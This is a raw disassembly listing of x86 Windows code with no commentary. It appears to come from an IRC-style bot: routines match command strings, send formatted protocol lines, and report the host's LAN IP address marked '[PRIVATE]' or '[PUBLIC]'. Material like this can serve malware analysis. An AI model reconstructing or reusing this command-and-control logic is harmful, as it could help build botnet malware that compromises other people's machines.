push offset asc_444600 ; " " push 3 push eax call sub_4016B8 sub esp, 18h mov byte ptr [esp+50h+arg_246C], 23h mov ecx, esp mov [esp+50h+arg_C], esp push offset asc_444600 ; " " push 3 push ecx lea ecx, [esp+5Ch+var_8] call sub_4016B8 mov ecx, offset word_44AC5E mov byte ptr [esp+50h+arg_246C], bl call sub_40212B loc_410F72: ; CODE XREF: sub_410030+EF3j push offset asc_444600 ; " " lea edx, [esp+24h+arg_1CC] push 3 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset byte_4E8E45 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 24h call sub_401B86 test eax, eax lea ecx, [esp+20h+arg_1CC] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_4113F7 push offset asc_444C64 ; ":" lea eax, [esp+24h+arg_22C] push ebx push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset asc_444C58 ; "!" lea ecx, [esp+24h+arg_1FC] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 25h call sub_4016B8 mov ecx, eax mov byte ptr [esp+20h+arg_246C], 26h call sub_4017EE push eax lea ecx, [esp+24h+arg_25C] call sub_401870 lea ecx, [esp+20h+arg_1FC] mov byte ptr [esp+20h+arg_246C], 29h call sub_401226 lea ecx, [esp+20h+arg_22C] mov byte ptr [esp+20h+arg_246C], 28h call sub_401226 mov ecx, offset byte_4493ED mov [ebp+16h], bl call sub_4017EE push eax mov ecx, offset dword_4493A4 call sub_4017EE mov edx, dword_4490C4 push eax push edx push offset aSSS_0 ; "%s %s %s\r\n" push ebp call sub_401E24 add esp, 14h lea ecx, [esp+20h+arg_25C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_411080: ; CODE XREF: sub_410030+EC7j push offset asc_444600 ; " " lea eax, [esp+24h+arg_28C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490E0 mov byte ptr [esp+20h+arg_246C], 2Ah push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_28C] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_411238 push offset asc_444C64 ; ":" lea edx, [esp+24h+arg_2EC] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset asc_444C58 ; "!" lea ecx, [esp+24h+arg_2BC] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 2Bh call sub_4016B8 mov ecx, eax mov byte ptr [esp+20h+arg_246C], 2Ch call sub_4017EE push eax lea ecx, [esp+24h+arg_34] call sub_401870 lea ecx, [esp+20h+arg_2BC] mov byte ptr [esp+20h+arg_246C], 2Fh call sub_401226 lea ecx, [esp+20h+arg_2EC] mov byte ptr [esp+20h+arg_246C], 2Eh call sub_401226 push offset asc_444C54 ; " :" lea ecx, [esp+24h+var_8] call sub_4014DD mov esi, dword_511B04 push eax call esi ; strstr add esp, 8 test eax, eax jz loc_411223 push offset asc_444C54 ; " :" lea ecx, [esp+24h+var_8] call sub_4014DD push eax call esi ; strstr add esp, 8 lea ecx, [esp+20h+arg_64] push eax call sub_401870 push offset byte_448F30 lea ecx, [esp+24h+arg_34] mov byte ptr [esp+24h+arg_246C], 30h call sub_4012EE test eax, eax jz short loc_41120F push offset byte_448F30 lea ecx, [esp+24h+arg_64] call sub_4012EE test eax, eax jz short loc_41120F sub esp, 18h lea edx, [esp+38h+arg_34] mov ecx, esp mov [esp+38h+arg_C], esp push edx call sub_4014D3 mov ecx, offset word_44AC5E call sub_401CE4 cmp eax, ebx jz short loc_4111EB lea ecx, [esp+20h+arg_64] push ecx lea ecx, [eax+19h] call sub_401FDC loc_4111EB: ; CODE XREF: sub_410030+11A9j push offset byte_4E8E45 lea ecx, [esp+24h+arg_34] call sub_401B86 test eax, eax jnz short loc_41120F lea edx, [esp+20h+arg_64] mov ecx, offset byte_4E8E45 push edx call sub_401FDC loc_41120F: ; CODE XREF: sub_410030+1173j ; sub_410030+1188j ... lea ecx, [esp+20h+arg_64] mov byte ptr [esp+20h+arg_246C], 2Eh call sub_401226 loc_411223: ; CODE XREF: sub_410030+1134j lea ecx, [esp+20h+arg_34] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_411238: ; CODE XREF: sub_410030+109Cj push offset asc_444600 ; " " lea eax, [esp+24h+arg_34C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490F0 mov byte ptr [esp+20h+arg_246C], 31h push ecx mov ecx, eax call sub_4012EE test eax, eax jz short loc_4112BF push offset asc_444600 ; " " lea edx, [esp+24h+arg_31C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_449100 mov byte ptr [esp+20h+arg_246C], 32h push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_31C] mov byte ptr [esp+20h+arg_246C], 31h setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] mov [esp+20h+var_D], bl cmp al, bl jz short loc_4112C4 loc_4112BF: ; CODE XREF: sub_410030+1238j mov [esp+20h+var_D], 1 loc_4112C4: ; CODE XREF: sub_410030+128Dj lea ecx, [esp+20h+arg_34C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz loc_4113F7 push offset asc_444C64 ; ":" lea edx, [esp+24h+arg_37C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 sub esp, 18h mov byte ptr [esp+38h+arg_246C], 33h mov ecx, esp mov [esp+38h+arg_C], esp push offset asc_444C58 ; "!" push ebx push ecx mov ecx, eax call sub_4016B8 mov ecx, offset word_44AC5E call sub_401CE4 lea ecx, [esp+20h+arg_37C] mov esi, eax mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp esi, ebx jz loc_4113F7 push offset asc_444C64 ; ":" lea edx, [esp+24h+arg_3DC] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 sub esp, 18h mov byte ptr [esp+38h+arg_246C], 34h mov ecx, esp mov [esp+38h+arg_C], esp push offset asc_444C58 ; "!" push ebx push ecx mov ecx, eax call sub_4016B8 push offset asc_444C64 ; ":" lea edx, [esp+3Ch+arg_3AC] push 1 push edx lea ecx, [esp+44h+var_8] mov byte ptr [esp+44h+arg_246C], 35h call sub_4016B8 sub esp, 18h mov byte ptr [esp+50h+arg_246C], 36h mov ecx, esp mov [esp+50h+var_C], esp push offset asc_444C58 ; "!" push ebx push ecx mov ecx, eax call sub_4016B8 mov ecx, offset word_44AC5E mov byte ptr [esp+50h+arg_246C], 37h call sub_40212B lea ecx, [esp+20h+arg_3AC] mov byte ptr [esp+20h+arg_246C], 34h call sub_401226 lea ecx, [esp+20h+arg_3DC] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp short loc_4113F7 ; --------------------------------------------------------------------------- loc_4113F0: ; CODE XREF: sub_410030+391j mov ecx, ebp call sub_401D20 loc_4113F7: ; CODE XREF: sub_410030+1D3j ; sub_410030+253j ... cmp [ebp+17h], bl jnz loc_410072 loc_411400: ; CODE XREF: sub_410030+3Cj ; sub_410030+4Fj lea ecx, [esp+20h+var_8] mov [esp+20h+arg_246C], 0FFFFFFFFh call sub_401226 mov ecx, [esp+20h+arg_2464] pop edi pop esi pop ebp xor eax, eax mov large fs:0, ecx pop ebx add esp, 2484h retn sub_410030 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 500h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411930 proc near ; CODE XREF: sub_4010BEj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411930 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E88 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_402072 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F038 mov dword ptr [esi+11h], 0 mov byte ptr [esi+0ABh], 0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_411930 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4119B0: ; CODE XREF: ___:loc_40115Ej ; ___:004016F4j push esi mov esi, ecx call sub_40101E test byte ptr [esp+8], 1 jz short loc_4119C8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_4119C8: ; CODE XREF: ___:004119BDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4119E0 proc near ; CODE XREF: sub_40101Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4119E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43F038 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401979 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_40204F mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4119E0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411A60 proc near ; CODE XREF: sub_402072j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411A60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_40142E lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_40142E lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_40142E lea ecx, [esi+54h] mov byte ptr [esp+14h+var_4], 3 call sub_40142E lea ecx, [esi+69h] mov byte ptr [esp+14h+var_4], 4 call sub_40142E lea ecx, [esi+7Eh] mov byte ptr [esp+14h+var_4], 5 call sub_40142E mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_411A60 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411B20 proc near ; CODE XREF: sub_401979j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411B20 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+7Eh] mov [esp+14h+var_4], 5 call sub_401226 lea ecx, [esi+69h] mov byte ptr [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+54h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+15h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_411B20 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411BE0 proc near ; CODE XREF: sub_4019E2j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401979 test [esp+4+arg_0], 1 jz short loc_411BF8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_411BF8: ; CODE XREF: sub_411BE0+Dj mov eax, esi pop esi retn 4 sub_411BE0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_411C10 proc near ; CODE XREF: sub_401A19j var_3C = byte ptr -3Ch var_4 = dword ptr -4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_411C10 push eax mov large fs:0, esp sub esp, 30h push ebx push esi mov esi, ecx push edi test esi, esi jz short loc_411C36 lea edi, [esi+11h] jmp short loc_411C38 ; --------------------------------------------------------------------------- loc_411C36: ; CODE XREF: sub_411C10+1Fj xor edi, edi loc_411C38: ; CODE XREF: sub_411C10+24j push 0 push 17h push 1 push 12h push 4Fh lea eax, [esp+5Ch+var_3C] push 9 push eax call sub_4019C4 add esp, 1Ch push edi mov ecx, eax mov [esp+4Ch+var_4], 0 call sub_4017EE lea ecx, [esi+250h] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_411C10 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411C8C lea ebx, [esi+11h] jmp short loc_411C8E ; --------------------------------------------------------------------------- loc_411C8C: ; CODE XREF: ___:00411C85j xor ebx, ebx loc_411C8E: ; CODE XREF: ___:00411C8Aj push 0 push 14h push 3 push 5 push 0Eh push 0Eh push 0Fh push 3 push 5 push 12h push 4Fh lea edx, [esp+38h] push 9 push edx call sub_4019C4 add esp, 34h push ebx mov ecx, eax mov dword ptr [esp+48h], 1 call sub_4017EE push eax lea eax, [esi+27Eh] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411CEB lea ebx, [esi+11h] jmp short loc_411CED ; --------------------------------------------------------------------------- loc_411CEB: ; CODE XREF: ___:00411CE4j xor ebx, ebx loc_411CED: ; CODE XREF: ___:00411CE9j push 0 push 14h push 12h push 1 push 10h push 4Fh lea ecx, [esp+24h] push 9 push ecx call sub_4019C4 add esp, 20h push ebx mov ecx, eax mov dword ptr [esp+48h], 2 call sub_4017EE lea edx, [esi+1C6h] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411D40 lea ebx, [esi+11h] jmp short loc_411D42 ; --------------------------------------------------------------------------- loc_411D40: ; CODE XREF: ___:00411D39j xor ebx, ebx loc_411D42: ; CODE XREF: ___:00411D3Ej push 0 push 5 push 4 push 0Fh push 0Dh push 4Fh lea eax, [esp+24h] push 9 push eax call sub_4019C4 add esp, 20h push ebx mov ecx, eax mov dword ptr [esp+48h], 3 call sub_4017EE lea ecx, [esi+16Ah] push eax push ecx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411D95 lea ebx, [esi+11h] jmp short loc_411D97 ; --------------------------------------------------------------------------- loc_411D95: ; CODE XREF: ___:00411D8Ej xor ebx, ebx loc_411D97: ; CODE XREF: ___:00411D93j push 0 push 7 push 13h push 0Dh push 4Fh lea edx, [esp+20h] push 9 push edx call sub_4019C4 add esp, 1Ch push ebx mov ecx, eax mov dword ptr [esp+48h], 4 call sub_4017EE push eax lea eax, [esi+1F4h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411DE8 lea ebx, [esi+11h] jmp short loc_411DEA ; --------------------------------------------------------------------------- loc_411DE8: ; CODE XREF: ___:00411DE1j xor ebx, ebx loc_411DEA: ; CODE XREF: ___:00411DE6j push 0 push 5 push 3 push 9 push 14h push 0Fh push 0Eh push 4Fh lea ecx, [esp+2Ch] push 9 push ecx call sub_4019C4 add esp, 28h push ebx mov ecx, eax mov dword ptr [esp+48h], 5 call sub_4017EE lea edx, [esi+0B2h] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411E41 lea ebx, [esi+11h] jmp short loc_411E43 ; --------------------------------------------------------------------------- loc_411E41: ; CODE XREF: ___:00411E3Aj xor ebx, ebx loc_411E43: ; CODE XREF: ___:00411E3Fj push 0 push 14h push 3 push 5 push 0Eh push 0Eh push 0Fh push 3 push 13h push 9 push 4 push 4Fh lea eax, [esp+3Ch] push 9 push eax call sub_4019C4 add esp, 38h push ebx mov ecx, eax mov dword ptr [esp+48h], 6 call sub_4017EE lea ecx, [esi+56h] push eax push ecx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411E9F lea ebx, [esi+11h] jmp short loc_411EA1 ; --------------------------------------------------------------------------- loc_411E9F: ; CODE XREF: ___:00411E98j xor ebx, ebx loc_411EA1: ; CODE XREF: ___:00411E9Dj push 0 push 14h push 13h push 0Fh push 8 push 14h push 5 push 7 push 4Fh lea edx, [esp+30h] push 9 push edx call sub_4019C4 add esp, 2Ch push ebx mov ecx, eax mov dword ptr [esp+48h], 7 call sub_4017EE push eax lea eax, [esi+10Eh] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411EFA lea ebx, [esi+11h] jmp short loc_411EFC ; --------------------------------------------------------------------------- loc_411EFA: ; CODE XREF: ___:00411EF3j xor ebx, ebx loc_411EFC: ; CODE XREF: ___:00411EF8j push 0 push 0Fh push 6 push 0Eh push 9 push 14h push 5 push 0Eh push 4Fh lea ecx, [esp+30h] push 9 push ecx call sub_4019C4 add esp, 2Ch push ebx mov ecx, eax mov dword ptr [esp+48h], 8 call sub_4017EE lea edx, [esi+198h] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411F55 lea ebx, [esi+11h] jmp short loc_411F57 ; --------------------------------------------------------------------------- loc_411F55: ; CODE XREF: ___:00411F4Ej xor ebx, ebx loc_411F57: ; CODE XREF: ___:00411F53j push 0 push 0Eh push 9 push 0Fh push 0Ah push 4Fh lea eax, [esp+3Ch] push 9 push eax call sub_4019C4 add esp, 20h push ebx mov ecx, eax mov dword ptr [esp+48h], 9 call sub_4017EE add esi, 13Ch push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+44h], edi call sub_401226 mov ecx, [esp+3Ch] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0F0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4120B0 proc near ; CODE XREF: sub_401ACDj var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_4120B0 push eax mov large fs:0, esp sub esp, 78h push ebx push ebp push esi mov esi, [esp+90h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+45h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jz loc_4125D9 lea ecx, [edi+26Dh] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jz loc_4125D9 lea ecx, [edi+0A1h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_4121B2 push offset asc_444600 ; " " lea eax, [esp+98h+var_6C] push 2 push eax mov ecx, esi call sub_4016B8 mov ebp, eax push offset asc_444600 ; " " lea ecx, [esp+98h+var_84] push 1 xor ebx, ebx push ecx mov ecx, esi mov [esp+0A0h+var_4], ebx call sub_4016B8 mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 1 call sub_4017EE push eax mov ecx, esi call sub_4017EE mov edx, dword_4490C0 push eax push edx add edi, 0FFFFFFEFh push offset aSSS_1 ; "%s %s :%s\r\n" push edi call sub_401E24 add esp, 14h lea ecx, [esp+94h+var_84] mov byte ptr [esp+94h+var_4], bl call sub_401226 lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412602 ; --------------------------------------------------------------------------- loc_4121B2: ; CODE XREF: sub_4120B0+70j lea ecx, [edi+187h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_412229 add edi, 0FFFFFFEFh lea eax, [esp+94h+var_6C] push eax mov ecx, edi call sub_401D4D mov ecx, eax mov [esp+94h+var_4], 2 call sub_4017EE push eax push offset aS ; "%s" lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push edi call sub_401857 add esp, 18h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412602 ; --------------------------------------------------------------------------- loc_412229: ; CODE XREF: sub_4120B0+117j lea ecx, [edi+0FDh] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_4122E4 push offset asc_444600 ; " " lea eax, [esp+98h+var_6C] push 1 push eax mov ecx, esi call sub_4016B8 push eax lea ecx, [edi+17h] mov [esp+98h+var_4], 3 call sub_4018B1 or ebp, 0FFFFFFFFh lea ecx, [esp+94h+var_6C] mov ebx, eax mov [esp+94h+var_4], ebp call sub_401226 test ebx, ebx jz loc_412602 lea ecx, [esp+94h+var_6C] add edi, 0FFFFFFEFh push ecx mov ecx, edi call sub_401D4D mov ecx, eax mov [esp+94h+var_4], 4 call sub_4017EE push eax push offset aS ; "%s" lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push edi call sub_401857 add esp, 18h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], ebp call sub_401226 jmp loc_412602 ; --------------------------------------------------------------------------- loc_4122E4: ; CODE XREF: sub_4120B0+18Ej lea ecx, [edi+12Bh] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41238D push offset asc_444600 ; " " lea ecx, [esp+98h+var_84] push 2 push ecx mov ecx, esi call sub_4016B8 mov ebp, eax push offset asc_444600 ; " " lea edx, [esp+98h+var_6C] mov ebx, 5 push 1 push edx mov ecx, esi mov [esp+0A0h+var_4], ebx call sub_4016B8 mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 6 call sub_4017EE push eax mov ecx, esi call sub_4017EE push eax mov eax, dword_4490C4 push eax add edi, 0FFFFFFEFh push offset aSSS_0 ; "%s %s %s\r\n" push edi call sub_401E24 add esp, 14h lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], bl call sub_401226 lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412602 ; --------------------------------------------------------------------------- loc_41238D: ; CODE XREF: sub_4120B0+249j lea ecx, [edi+1B5h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_4123FB push offset asc_444600 ; " " lea ecx, [esp+98h+var_6C] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+94h+var_4], 7 call sub_4017EE mov edx, dword_4490F0 push eax push edx add edi, 0FFFFFFEFh push offset aSS_0 ; "%s %s\r\n" push edi call sub_401E24 add esp, 10h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412602 ; --------------------------------------------------------------------------- loc_4123FB: ; CODE XREF: sub_4120B0+2F2j lea ecx, [edi+23Fh] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41245D lea eax, [esp+94h+var_6C] push 9 push eax mov ecx, esi call sub_401E47 mov ecx, eax mov [esp+94h+var_4], 8 call sub_4017EE push eax add edi, 0FFFFFFEFh push offset aS_3 ; "%s\r\n" push edi call sub_401E24 add esp, 0Ch lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412602 ; --------------------------------------------------------------------------- loc_41245D: ; CODE XREF: sub_4120B0+360j lea ecx, [edi+1E3h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_4124FD push offset asc_444600 ; " " lea ecx, [esp+98h+var_84] push 1 push ecx mov ecx, esi call sub_4016B8 mov ebp, eax push 1 push offset asc_444600 ; " " lea edx, [esp+9Ch+var_6C] push 2 push edx mov ecx, esi mov [esp+0A4h+var_4], 9 call sub_4011EA mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 0Ah call sub_4014DD push eax mov ecx, esi call sub_4014DD xor ebx, ebx push eax push ebx push ebx lea ecx, [edi-11h] call sub_401118 lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 9 call sub_401226 lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412602 ; --------------------------------------------------------------------------- loc_4124FD: ; CODE XREF: sub_4120B0+3C2j lea ecx, [edi+159h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_412602 push offset asc_444600 ; " " lea eax, [esp+98h+var_24] push 3 push eax mov ecx, esi call sub_4016B8 mov ebp, eax push offset asc_444600 ; " " lea ecx, [esp+98h+var_3C] push 2 push ecx mov ecx, esi mov [esp+0A0h+var_4], 0Bh call sub_4016B8 mov ebx, eax push offset asc_444600 ; " " lea edx, [esp+98h+var_54] push 1 push edx mov ecx, esi mov byte ptr [esp+0A0h+var_4], 0Ch call sub_4016B8 mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 0Dh call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax mov ecx, esi call sub_4017EE push eax mov eax, dword_4490F4 push eax add edi, 0FFFFFFEFh push offset aSSSS ; "%s %s %s %s\r\n" push edi call sub_401E24 add esp, 18h lea ecx, [esp+94h+var_54] mov byte ptr [esp+94h+var_4], 0Ch call sub_401226 lea ecx, [esp+94h+var_3C] mov byte ptr [esp+94h+var_4], 0Bh call sub_401226 lea ecx, [esp+94h+var_24] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp short loc_412602 ; --------------------------------------------------------------------------- loc_4125D9: ; CODE XREF: sub_4120B0+3Aj ; sub_4120B0+55j xor ebx, ebx mov [edi+0Fh], ebx mov [edi+0Bh], ebx mov [edi+5], bl mov [edi+4], bl mov ecx, [edi+7] push ecx nop call near ptr 71AB9639h mov ecx, offset word_44AC5E mov dword ptr [edi+7], 0FFFFFFFFh call sub_401541 loc_412602: ; CODE XREF: sub_4120B0+FDj ; sub_4120B0+174j ... mov ecx, [esp+94h+var_C] pop edi pop esi pop ebp xor al, al pop ebx mov large fs:0, ecx add esp, 84h retn 4 sub_4120B0 endp ; --------------------------------------------------------------------------- db 90h db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412780 proc near ; CODE XREF: sub_401D4Dj var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_412780 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 40h push esi mov esi, ecx lea ecx, [esp+50h+var_24] mov [esp+50h+var_48], 0 call sub_40142E xor eax, eax lea ecx, [esp+50h+var_4C] mov [esp+50h+var_44], eax lea edx, [esp+50h+var_44] mov [esp+50h+var_40], eax push ecx mov [esp+54h+var_3C], eax push edx mov [esp+58h+var_38], eax mov eax, [esi+18h] push eax mov [esp+5Ch+var_4], 1 mov [esp+5Ch+var_4C], 10h call near ptr 71AB951Eh nop mov ecx, [esp+50h+var_40+3] mov edx, [esp+50h+var_40+2] mov eax, [esp+50h+var_40+1] and ecx, 0FFh push ecx mov ecx, [esp+54h+var_40] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx lea edx, [esp+60h+var_34] push offset aD_D_D_D ; "%d.%d.%d.%d" push edx nop call sub_5F76F7 add esp, 18h lea ecx, [esp+50h+var_24] push offset byte_448F30 call sub_4015E1 push offset aLan ; "lan: " lea ecx, [esp+54h+var_24] call sub_401AAF lea eax, [esp+50h+var_34] lea ecx, [esp+50h+var_24] push eax call sub_401AAF push offset a_ ; ". " lea ecx, [esp+54h+var_24] call sub_401AAF add esi, 28h lea ecx, [esp+50h+var_24] push esi call sub_4016C7 push offset a_ ; ". " lea ecx, [esp+54h+var_24] call sub_401AAF lea ecx, [esp+50h+var_34] push ecx call sub_401483 add esp, 4 test al, al jz short loc_41288B push offset aPrivate ; "[PRIVATE]" jmp short loc_412890 ; --------------------------------------------------------------------------- loc_41288B: ; CODE XREF: sub_412780+102j push offset aPublic ; "[PUBLIC]" loc_412890: ; CODE XREF: sub_412780+109j lea ecx, [esp+54h+var_24] call sub_401AAF mov esi, [esp+50h+arg_0] lea edx, [esp+50h+var_24] push edx mov ecx, esi call sub_4014D3 mov [esp+50h+var_48], 1 lea ecx, [esp+50h+var_24] mov byte ptr [esp+50h+var_4], 0 call sub_401226 mov ecx, [esp+50h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 4Ch retn 4 sub_412780 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) 